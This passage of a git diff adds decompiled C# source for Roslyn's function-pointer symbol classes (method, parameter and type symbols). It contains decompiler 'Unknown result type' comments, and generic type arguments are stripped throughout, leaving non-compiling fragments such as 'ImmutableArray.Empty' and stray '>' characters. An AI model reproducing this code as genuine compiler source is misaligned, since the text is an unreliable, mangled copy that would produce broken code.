IL_009e; + } + val = (VarianceKind)1; + } + else + { + if ((int)refKind != 0) + { + goto IL_009e; + } + val = (VarianceKind)2; + } + goto IL_00a1; + IL_009e: + val = (VarianceKind)0; + goto IL_00a1; + IL_00a1: + VarianceKind variance3 = val; + TypeWithAnnotations typeWithAnnotations = functionPointerParameterSymbol.TypeWithAnnotations.MergeEquivalentTypes(functionPointerParameterSymbol2.TypeWithAnnotations, variance3); + instance.Add(typeWithAnnotations); + if (!typeWithAnnotations.IsSameAs(functionPointerParameterSymbol.TypeWithAnnotations)) + { + flag = true; + } + } + if (flag) + { + substitutedParameterTypes = instance.ToImmutableAndFree(); + } + else + { + instance.Free(); + substitutedParameterTypes = base.ParameterTypesWithAnnotations; + } + } + if (flag || !substitutedReturnType.IsSameAs(ReturnTypeWithAnnotations)) + { + return SubstituteParameterSymbols(substitutedReturnType, substitutedParameterTypes); + } + return this; + } + + public FunctionPointerMethodSymbol SetNullabilityForReferenceTypes(Func transform) + { + TypeWithAnnotations substitutedReturnType = transform(ReturnTypeWithAnnotations); + ImmutableArray substitutedParameterTypes = ImmutableArray.Empty; + bool flag = false; + if (_parameters.Length > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(_parameters.Length); + ImmutableArray.Enumerator enumerator = _parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + FunctionPointerParameterSymbol current = enumerator.Current; + TypeWithAnnotations typeWithAnnotations = transform(current.TypeWithAnnotations); + instance.Add(typeWithAnnotations); + if (!typeWithAnnotations.IsSameAs(current.TypeWithAnnotations)) + { + flag = true; + } + } + if (flag) + { + substitutedParameterTypes = instance.ToImmutableAndFree(); + } + else + { + instance.Free(); + substitutedParameterTypes = base.ParameterTypesWithAnnotations; + } + } + if (flag || !substitutedReturnType.IsSameAs(ReturnTypeWithAnnotations)) + { + return SubstituteParameterSymbols(substitutedReturnType, substitutedParameterTypes); + } + return this; + } + + private FunctionPointerMethodSymbol(CallingConvention callingConvention, RefKind refKind, TypeWithAnnotations returnType, ImmutableArray refCustomModifiers, ImmutableArray originalParameters, ImmutableArray substitutedParameterTypes, ImmutableArray> substitutedRefCustomModifiers, bool useUpdatedEscapeRules) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + RefCustomModifiers = refCustomModifiers; + CallingConvention = callingConvention; + RefKind = refKind; + ReturnTypeWithAnnotations = returnType; + UseUpdatedEscapeRules = useUpdatedEscapeRules; + if (originalParameters.Length > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(originalParameters.Length); + for (int i = 0; i < originalParameters.Length; i++) + { + ParameterSymbol parameterSymbol = originalParameters[i]; + TypeWithAnnotations typeWithAnnotations = substitutedParameterTypes[i]; + ImmutableArray refCustomModifiers2 = (substitutedRefCustomModifiers.IsDefault ? parameterSymbol.RefCustomModifiers : substitutedRefCustomModifiers[i]); + instance.Add(new FunctionPointerParameterSymbol(typeWithAnnotations, parameterSymbol.RefKind, parameterSymbol.Ordinal, this, refCustomModifiers2)); + } + _parameters = instance.ToImmutableAndFree(); + } + else + { + _parameters = ImmutableArray.Empty; + } + } + + private FunctionPointerMethodSymbol(CallingConvention callingConvention, RefKind refKind, TypeWithAnnotations returnTypeWithAnnotations, ImmutableArray refCustomModifiers, ImmutableArray parameterTypes, ImmutableArray> parameterRefCustomModifiers, ImmutableArray parameterRefKinds, CSharpCompilation compilation) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + RefCustomModifiers = (refCustomModifiers.IsDefault ? getCustomModifierArrayForRefKind(refKind, compilation) : refCustomModifiers); + RefKind = refKind; + CallingConvention = callingConvention; + ReturnTypeWithAnnotations = returnTypeWithAnnotations; + UseUpdatedEscapeRules = compilation.SourceModule.UseUpdatedEscapeRules; + _parameters = ImmutableArrayExtensions.ZipAsArray>), FunctionPointerParameterSymbol>(parameterTypes, parameterRefKinds, (this, compilation, parameterRefCustomModifiers), (Func>), FunctionPointerParameterSymbol>)delegate(TypeWithAnnotations type, RefKind refKind2, int i, (FunctionPointerMethodSymbol Method, CSharpCompilation Comp, ImmutableArray> ParamRefCustomModifiers) arg) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray refCustomModifiers2 = (arg.ParamRefCustomModifiers.IsDefault ? getCustomModifierArrayForRefKind(refKind2, arg.Comp) : arg.ParamRefCustomModifiers[i]); + return new FunctionPointerParameterSymbol(type, refKind2, i, arg.Method, refCustomModifiers2); + }); + static ImmutableArray getCustomModifierArrayForRefKind(RefKind refKind2, CSharpCompilation compilation2) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + CustomModifier customModifierForRefKind = GetCustomModifierForRefKind(refKind2, compilation2); + if (customModifierForRefKind == null) + { + return ImmutableArray.Empty; + } + return ImmutableArray.Create(customModifierForRefKind); + } + } + + private FunctionPointerMethodSymbol(CallingConvention callingConvention, RefKind refKind, TypeWithAnnotations returnType, ImmutableArray refCustomModifiers, FunctionPointerTypeSyntax syntax, Binder typeBinder, BindingDiagnosticBag diagnostics, bool suppressUseSiteDiagnostics, bool useUpdatedEscapeRules) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + RefCustomModifiers = refCustomModifiers; + CallingConvention = callingConvention; + RefKind = refKind; + ReturnTypeWithAnnotations = returnType; + UseUpdatedEscapeRules = useUpdatedEscapeRules; + _parameters = ((syntax.ParameterList.Parameters.Count > 1) ? ParameterHelpers.MakeFunctionPointerParameters(typeBinder, this, syntax.ParameterList.Parameters, diagnostics, suppressUseSiteDiagnostics) : ImmutableArray.Empty); + } + + private FunctionPointerMethodSymbol(CallingConvention callingConvention, ImmutableArray> retAndParamTypes, bool useUpdatedEscapeRules) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + ParamInfo param = retAndParamTypes[0]; + TypeWithAnnotations typeWithAnnotations = TypeWithAnnotations.Create(param.Type, NullableAnnotation.Oblivious, CSharpCustomModifier.Convert(param.CustomModifiers)); + RefCustomModifiers = CSharpCustomModifier.Convert(param.RefCustomModifiers); + CallingConvention = callingConvention; + ReturnTypeWithAnnotations = typeWithAnnotations; + RefKind = getRefKind(param, RefCustomModifiers, (RefKind)3, (RefKind)1, requiresLocationAllowed: false); + UseUpdatedEscapeRules = useUpdatedEscapeRules; + ReadOnlySpan> readOnlySpan = retAndParamTypes.AsSpan(); + _parameters = makeParametersFromMetadata(readOnlySpan.Slice(1, readOnlySpan.Length - 1), this); + static RefKind getRefKind(ParamInfo val, ImmutableArray paramRefCustomMods, RefKind hasInRefKind, RefKind hasOutRefKind, bool requiresLocationAllowed) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + if (!val.IsByRef) + { + return (RefKind)0; + } + if (paramRefCustomMods.HasInAttributeModifier()) + { + return hasInRefKind; + } + if (paramRefCustomMods.HasOutAttributeModifier()) + { + return hasOutRefKind; + } + if (requiresLocationAllowed && paramRefCustomMods.HasRequiresLocationAttributeModifier()) + { + return (RefKind)4; + } + return (RefKind)1; + } + static ImmutableArray makeParametersFromMetadata(ReadOnlySpan> parameterTypes, FunctionPointerMethodSymbol parent) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + if (parameterTypes.Length > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(parameterTypes.Length); + for (int i = 0; i < parameterTypes.Length; i++) + { + ParamInfo param2 = parameterTypes[i]; + ImmutableArray immutableArray = CSharpCustomModifier.Convert(param2.RefCustomModifiers); + TypeWithAnnotations typeWithAnnotations2 = TypeWithAnnotations.Create(param2.Type, NullableAnnotation.Oblivious, CSharpCustomModifier.Convert(param2.CustomModifiers)); + RefKind refKind = getRefKind(param2, immutableArray, (RefKind)3, (RefKind)2, requiresLocationAllowed: true); + instance.Add(new FunctionPointerParameterSymbol(typeWithAnnotations2, refKind, i, parent, immutableArray)); + } + return instance.ToImmutableAndFree(); + } + return ImmutableArray.Empty; + } + } + + internal void AddNullableTransforms(ArrayBuilder transforms) + { + ReturnTypeWithAnnotations.AddNullableTransforms(transforms); + ImmutableArray.Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.TypeWithAnnotations.AddNullableTransforms(transforms); + } + } + + internal FunctionPointerMethodSymbol ApplyNullableTransforms(byte defaultTransformFlag, ImmutableArray transforms, ref int position) + { + TypeWithAnnotations result; + bool flag = ReturnTypeWithAnnotations.ApplyNullableTransforms(defaultTransformFlag, transforms, ref position, out result); + ImmutableArray substitutedParameterTypes = ImmutableArray.Empty; + if (!Parameters.IsEmpty) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(Parameters.Length); + bool flag2 = false; + ImmutableArray.Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + flag2 |= current.TypeWithAnnotations.ApplyNullableTransforms(defaultTransformFlag, transforms, ref position, out var result2); + instance.Add(result2); + } + if (flag2) + { + substitutedParameterTypes = instance.ToImmutableAndFree(); + flag = true; + } + else + { + instance.Free(); + substitutedParameterTypes = base.ParameterTypesWithAnnotations; + } + } + if (flag) + { + return SubstituteParameterSymbols(result, substitutedParameterTypes); + } + return this; + } + + public ImmutableHashSet GetCallingConventionModifiers() + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Invalid comparison between Unknown and I4 + if (_lazyCallingConventionModifiers == null) + { + ImmutableArray immutableArray = (((int)RefKind != 0) ? RefCustomModifiers : ReturnTypeWithAnnotations.CustomModifiers); + if (immutableArray.IsEmpty || (int)CallingConvention != 9) + { + _lazyCallingConventionModifiers = ImmutableHashSet.Empty; + } + else + { + PooledHashSet instance = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator = immutableArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + CustomModifier current = enumerator.Current; + if (FunctionPointerTypeSymbol.IsCallingConventionModifier(((CSharpCustomModifier)(object)current).ModifierSymbol)) + { + ((HashSet)(object)instance).Add(current); + } + } + if (((HashSet)(object)instance).Count == 0) + { + _lazyCallingConventionModifiers = ImmutableHashSet.Empty; + } + else + { + _lazyCallingConventionModifiers = ((IEnumerable)instance).ToImmutableHashSet(); + } + instance.Free(); + } + } + return _lazyCallingConventionModifiers; + } + + public override bool Equals(Symbol other, TypeCompareKind compareKind) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (!(other is FunctionPointerMethodSymbol other2)) + { + return false; + } + return Equals(other2, compareKind); + } + + internal bool Equals(FunctionPointerMethodSymbol other, TypeCompareKind compareKind) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if ((object)this != other) + { + if (EqualsNoParameters(other, compareKind)) + { + return ImmutableArrayExtensions.SequenceEqual(_parameters, other._parameters, compareKind, (Func)((FunctionPointerParameterSymbol param1, FunctionPointerParameterSymbol param2, TypeCompareKind compareKind2) => param1.MethodEqualityChecks(param2, compareKind2))); + } + return false; + } + return true; + } + + private bool EqualsNoParameters(FunctionPointerMethodSymbol other, TypeCompareKind compareKind) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + if (CallingConvention != other.CallingConvention || !FunctionPointerTypeSymbol.RefKindEquals(compareKind, RefKind, other.RefKind) || !ReturnTypeWithAnnotations.Equals(other.ReturnTypeWithAnnotations, compareKind)) + { + return false; + } + if ((compareKind & 1) != 0) + { + if (CallingConventionUtils.IsCallingConvention(CallingConvention, (CallingConvention)9) && !ImmutableHashSetExtensions.SetEqualsWithoutIntermediateHashSet(GetCallingConventionModifiers(), other.GetCallingConventionModifiers())) + { + return false; + } + } + else if (!RefCustomModifiers.SequenceEqual(other.RefCustomModifiers)) + { + return false; + } + return true; + } + + public override int GetHashCode() + { + int num = GetHashCodeNoParameters(); + ImmutableArray.Enumerator enumerator = _parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + num = Hash.Combine(enumerator.Current.MethodHashCode(), num); + } + return num; + } + + internal int GetHashCodeNoParameters() + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Expected I4, but got Unknown + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected I4, but got Unknown + return Hash.Combine(base.ReturnType, Hash.Combine(((int)CallingConvention).GetHashCode(), ((int)FunctionPointerTypeSymbol.GetRefKindForHashCode(RefKind)).GetHashCode())); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Invalid comparison between Unknown and I4 + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + UseSiteInfo result = default(UseSiteInfo); + CalculateUseSiteDiagnostic(ref result); + if (CallingConventionUtils.IsCallingConvention(CallingConvention, (CallingConvention)5)) + { + MergeUseSiteInfo(ref result, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_UnsupportedCallingConvention, this))); + } + DiagnosticInfo diagnosticInfo = result.DiagnosticInfo; + if (diagnosticInfo == null || (int)diagnosticInfo.Severity != 3) + { + ImmutableArray.Enumerator enumerator = Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if (current.RefCustomModifiers.HasRequiresLocationAttributeModifier() && current.RefCustomModifiers.Any((CustomModifier m) => !m.IsOptional)) + { + MergeUseSiteInfo(ref result, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, this))); + } + } + } + return result; + } + + internal bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo? result, Symbol owner, ref HashSet checkedTypes) + { + if (!base.ReturnType.GetUnificationUseSiteDiagnosticRecursive(ref result, owner, ref checkedTypes) && !Symbol.GetUnificationUseSiteDiagnosticRecursive(ref result, RefCustomModifiers, owner, ref checkedTypes)) + { + return Symbol.GetUnificationUseSiteDiagnosticRecursive(ref result, Parameters, owner, ref checkedTypes); + } + return true; + } + + internal override ImmutableArray GetAppliedConditionalSymbols() + { + return ImmutableArray.Empty; + } + + internal override bool IsMetadataNewSlot(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal override bool IsMetadataVirtual(bool ignoreInterfaceImplementationChanges = false) + { + return false; + } + + internal sealed override UnmanagedCallersOnlyAttributeData? GetUnmanagedCallersOnlyAttributeData(bool forceComplete) + { + return null; + } + + public override DllImportData GetDllImportData() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionPointers/FunctionPointerMethodSymbol.cs", 856); + } + + internal override int CalculateLocalSyntaxOffset(int localPosition, SyntaxTree localTree) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionPointers/FunctionPointerMethodSymbol.cs", 857); + } + + internal override IEnumerable GetSecurityInformation() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionPointers/FunctionPointerMethodSymbol.cs", 858); + } + + internal sealed override bool IsNullableAnalysisEnabled() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/FunctionPointers/FunctionPointerMethodSymbol.cs", 859); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FunctionPointerParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FunctionPointerParameterSymbol.cs new file mode 100644 index 0000000..12a4d97 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FunctionPointerParameterSymbol.cs @@ -0,0 +1,155 @@ +using System.Collections.Immutable; +using System.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class FunctionPointerParameterSymbol : ParameterSymbol +{ + private readonly FunctionPointerMethodSymbol _containingSymbol; + + public override TypeWithAnnotations TypeWithAnnotations { get; } + + public override RefKind RefKind { get; } + + public override int Ordinal { get; } + + public override Symbol ContainingSymbol => _containingSymbol; + + public override ImmutableArray RefCustomModifiers { get; } + + internal override ScopedKind EffectiveScope + { + get + { + if (ParameterHelpers.IsRefScopedByDefault(this)) + { + return (ScopedKind)1; + } + return (ScopedKind)0; + } + } + + internal override bool HasUnscopedRefAttribute => false; + + internal override bool UseUpdatedEscapeRules => _containingSymbol.UseUpdatedEscapeRules; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override bool IsDiscard => false; + + public override bool IsParams => false; + + public override bool IsImplicitlyDeclared => true; + + internal override MarshalPseudoCustomAttributeData? MarshallingInformation => null; + + internal override bool IsMetadataOptional => false; + + internal override bool IsMetadataIn + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + RefKind refKind = RefKind; + if (refKind - 3 <= 1) + { + return true; + } + return false; + } + } + + internal override bool IsMetadataOut => (int)RefKind == 2; + + internal override ConstantValue? ExplicitDefaultConstantValue => null; + + internal override bool IsIDispatchConstant => false; + + internal override bool IsIUnknownConstant => false; + + internal override bool IsCallerFilePath => false; + + internal override bool IsCallerLineNumber => false; + + internal override bool IsCallerMemberName => false; + + internal override int CallerArgumentExpressionParameterIndex => -1; + + internal override FlowAnalysisAnnotations FlowAnalysisAnnotations => FlowAnalysisAnnotations.None; + + internal override ImmutableHashSet NotNullIfParameterNotNull => ImmutableHashSet.Empty; + + internal override ImmutableArray InterpolatedStringHandlerArgumentIndexes => ImmutableArray.Empty; + + internal override bool HasInterpolatedStringHandlerArgumentError => false; + + public FunctionPointerParameterSymbol(TypeWithAnnotations typeWithAnnotations, RefKind refKind, int ordinal, FunctionPointerMethodSymbol containingSymbol, ImmutableArray refCustomModifiers) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + TypeWithAnnotations = typeWithAnnotations; + RefKind = refKind; + Ordinal = ordinal; + _containingSymbol = containingSymbol; + RefCustomModifiers = refCustomModifiers; + } + + public override bool Equals(Symbol other, TypeCompareKind compareKind) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if ((object)this == other) + { + return true; + } + if (!(other is FunctionPointerParameterSymbol other2)) + { + return false; + } + return Equals(other2, compareKind); + } + + internal bool Equals(FunctionPointerParameterSymbol other, TypeCompareKind compareKind) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if (other.Ordinal == Ordinal) + { + return _containingSymbol.Equals(other._containingSymbol, compareKind); + } + return false; + } + + internal bool MethodEqualityChecks(FunctionPointerParameterSymbol other, TypeCompareKind compareKind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + if (FunctionPointerTypeSymbol.RefKindEquals(compareKind, RefKind, other.RefKind) && ((compareKind & 1) != 0 || RefCustomModifiers.SequenceEqual(other.RefCustomModifiers))) + { + return TypeWithAnnotations.Equals(other.TypeWithAnnotations, compareKind); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(_containingSymbol.GetHashCode(), Ordinal + 1); + } + + internal int MethodHashCode() + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected I4, but got Unknown + return Hash.Combine(TypeWithAnnotations.GetHashCode(), ((int)FunctionPointerTypeSymbol.GetRefKindForHashCode(RefKind)).GetHashCode()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FunctionPointerTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FunctionPointerTypeSymbol.cs new file mode 100644 index 0000000..ec8742e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/FunctionPointerTypeSymbol.cs @@ -0,0 +1,391 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Reflection.Metadata; +using System.Threading; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class FunctionPointerTypeSymbol : TypeSymbol, IFunctionPointerTypeReference, ITypeReference, IReference +{ + private sealed class FunctionPointerMethodSignature : ISignature + { + private readonly FunctionPointerMethodSymbol _underlying; + + internal ISignature Underlying => (ISignature)(object)_underlying.GetCciAdapter(); + + public CallingConvention CallingConvention => Underlying.CallingConvention; + + public ushort ParameterCount => Underlying.ParameterCount; + + public ImmutableArray ReturnValueCustomModifiers => Underlying.ReturnValueCustomModifiers; + + public ImmutableArray RefCustomModifiers => Underlying.RefCustomModifiers; + + public bool ReturnValueIsByRef => Underlying.ReturnValueIsByRef; + + internal FunctionPointerMethodSignature(FunctionPointerMethodSymbol underlying) + { + _underlying = underlying; + } + + public ImmutableArray GetParameters(EmitContext context) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return Underlying.GetParameters(context); + } + + public ITypeReference GetType(EmitContext context) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return Underlying.GetType(context); + } + + public override bool Equals(object? obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/FunctionPointerTypeSymbolAdapter.cs", 85); + } + + public override int GetHashCode() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Emitter/Model/FunctionPointerTypeSymbolAdapter.cs", 89); + } + + public override string ToString() + { + return _underlying.ToDisplayString(SymbolDisplayFormat.ILVisualizationFormat); + } + } + + private FunctionPointerMethodSignature? _lazySignature; + + ISignature IFunctionPointerTypeReference.Signature + { + get + { + if (_lazySignature == null) + { + Interlocked.CompareExchange(ref _lazySignature, new FunctionPointerMethodSignature(AdaptedFunctionPointerTypeSymbol.Signature), null); + } + return (ISignature)(object)_lazySignature; + } + } + + bool ITypeReference.IsEnum => false; + + PrimitiveTypeCode ITypeReference.TypeCode => (PrimitiveTypeCode)19; + + TypeDefinitionHandle ITypeReference.TypeDef => default(TypeDefinitionHandle); + + IGenericMethodParameterReference? ITypeReference.AsGenericMethodParameterReference => null; + + IGenericTypeInstanceReference? ITypeReference.AsGenericTypeInstanceReference => null; + + IGenericTypeParameterReference? ITypeReference.AsGenericTypeParameterReference => null; + + INamespaceTypeReference? ITypeReference.AsNamespaceTypeReference => null; + + INestedTypeReference? ITypeReference.AsNestedTypeReference => null; + + ISpecializedNestedTypeReference? ITypeReference.AsSpecializedNestedTypeReference => null; + + bool ITypeReference.IsValueType => AdaptedFunctionPointerTypeSymbol.IsValueType; + + internal FunctionPointerTypeSymbol AdaptedFunctionPointerTypeSymbol => this; + + public FunctionPointerMethodSymbol Signature { get; } + + public override bool IsReferenceType => false; + + public override bool IsValueType => true; + + public override TypeKind TypeKind => (TypeKind)13; + + public override bool IsRefLikeType => false; + + public override bool IsReadOnly => false; + + public override SymbolKind Kind => (SymbolKind)20; + + public override Symbol? ContainingSymbol => null; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override Accessibility DeclaredAccessibility => (Accessibility)0; + + public override bool IsStatic => false; + + public override bool IsAbstract => false; + + public override bool IsSealed => false; + + internal override NamedTypeSymbol? BaseTypeNoUseSiteDiagnostics => null; + + internal override ObsoleteAttributeData? ObsoleteAttributeData => null; + + internal override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IFunctionPointerTypeReference)(object)this); + } + + INamespaceTypeDefinition? ITypeReference.AsNamespaceTypeDefinition(EmitContext context) + { + return null; + } + + INestedTypeDefinition? ITypeReference.AsNestedTypeDefinition(EmitContext context) + { + return null; + } + + ITypeDefinition? ITypeReference.AsTypeDefinition(EmitContext context) + { + return null; + } + + ITypeDefinition? ITypeReference.GetResolvedType(EmitContext context) + { + return null; + } + + IEnumerable IReference.GetAttributes(EmitContext context) + { + return SpecializedCollections.EmptyEnumerable(); + } + + IDefinition? IReference.AsDefinition(EmitContext context) + { + return null; + } + + internal new FunctionPointerTypeSymbol GetCciAdapter() + { + return this; + } + + public static FunctionPointerTypeSymbol CreateFromSource(FunctionPointerTypeSyntax syntax, Binder typeBinder, BindingDiagnosticBag diagnostics, ConsList basesBeingResolved, bool suppressUseSiteDiagnostics) + { + return new FunctionPointerTypeSymbol(FunctionPointerMethodSymbol.CreateFromSource(syntax, typeBinder, diagnostics, basesBeingResolved, suppressUseSiteDiagnostics)); + } + + public static FunctionPointerTypeSymbol CreateFromPartsForTests(CallingConvention callingConvention, TypeWithAnnotations returnType, ImmutableArray refCustomModifiers, RefKind returnRefKind, ImmutableArray parameterTypes, ImmutableArray> parameterRefCustomModifiers, ImmutableArray parameterRefKinds, CSharpCompilation compilation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return new FunctionPointerTypeSymbol(FunctionPointerMethodSymbol.CreateFromPartsForTest(callingConvention, returnType, refCustomModifiers, returnRefKind, parameterTypes, parameterRefCustomModifiers, parameterRefKinds, compilation)); + } + + public static FunctionPointerTypeSymbol CreateFromParts(CallingConvention callingConvention, ImmutableArray callingConventionModifiers, TypeWithAnnotations returnType, RefKind returnRefKind, ImmutableArray parameterTypes, ImmutableArray parameterRefKinds, CSharpCompilation compilation) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return new FunctionPointerTypeSymbol(FunctionPointerMethodSymbol.CreateFromParts(callingConvention, callingConventionModifiers, returnType, returnRefKind, parameterTypes, parameterRefKinds, compilation)); + } + + public static FunctionPointerTypeSymbol CreateFromMetadata(ModuleSymbol containingModule, CallingConvention callingConvention, ImmutableArray> 